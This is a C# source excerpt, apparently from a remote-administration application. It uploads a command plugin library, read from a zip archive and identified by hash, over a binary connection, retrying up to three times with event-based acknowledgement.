public async Task <bool> UploadPluginToServer(StaticCommandPlugin staticCommandPlugin)
{
if (await Task.Run(() => _connectionManager.IsStaticCommandPluginAvailable(staticCommandPlugin.PluginHash)))
{
return(true);
}
bool success = false;
//3 tries
for (int i = 0; i < 3; i++)
{
var autoResetEvent = new AutoResetEvent(false);
EventHandler <byte[]> pluginReceivedHandler = (sender, bytes) =>
{
if (bytes.SequenceEqual(staticCommandPlugin.PluginHash))
{
success = true;
autoResetEvent.Set();
}
};
EventHandler <byte[]> pluginFailedHandler = (sender, bytes) =>
{
if (bytes.SequenceEqual(staticCommandPlugin.PluginHash))
{
success = false;
autoResetEvent.Set();
}
};
_connectionManager.StaticCommandReceived += pluginReceivedHandler;
_connectionManager.StaticCommandTransmissionFailed += pluginFailedHandler;
try
{
await Task.Run(() => _connectionManager.SendStaticCommandPlugin(staticCommandPlugin));
if (!await Task.Run(() => autoResetEvent.WaitOne()) || !success)
{
continue;
}
}
finally
{
_connectionManager.StaticCommandReceived -= pluginReceivedHandler;
_connectionManager.StaticCommandTransmissionFailed -= pluginFailedHandler;
autoResetEvent.Dispose();
}
break;
}
return(success);
}
public void SendStaticCommandPlugin(StaticCommandPlugin staticCommandPlugin)
{
using (var fs = new FileStream(staticCommandPlugin.Path, FileMode.Open, FileAccess.Read))
using (var archive = new ZipArchive(fs, ZipArchiveMode.Read))
{
var entry = archive.GetEntry(staticCommandPlugin.PluginInfo.Library1);
using (var zipStream = entry.Open())
{
var buffer = new byte[8192];
lock (Sender.WriterLock)
{
Sender.Connection.BinaryWriter.Write((byte)FromAdministrationPackage.SendStaticCommandPlugin);
Sender.Connection.BinaryWriter.Write((int)entry.Length + 16);
Sender.Connection.BinaryWriter.Write(staticCommandPlugin.PluginHash);
int read;
while ((read = zipStream.Read(buffer, 0, buffer.Length)) > 0)
{
Sender.Connection.BinaryWriter.Write(buffer, 0, read);
}
}
}
}
}
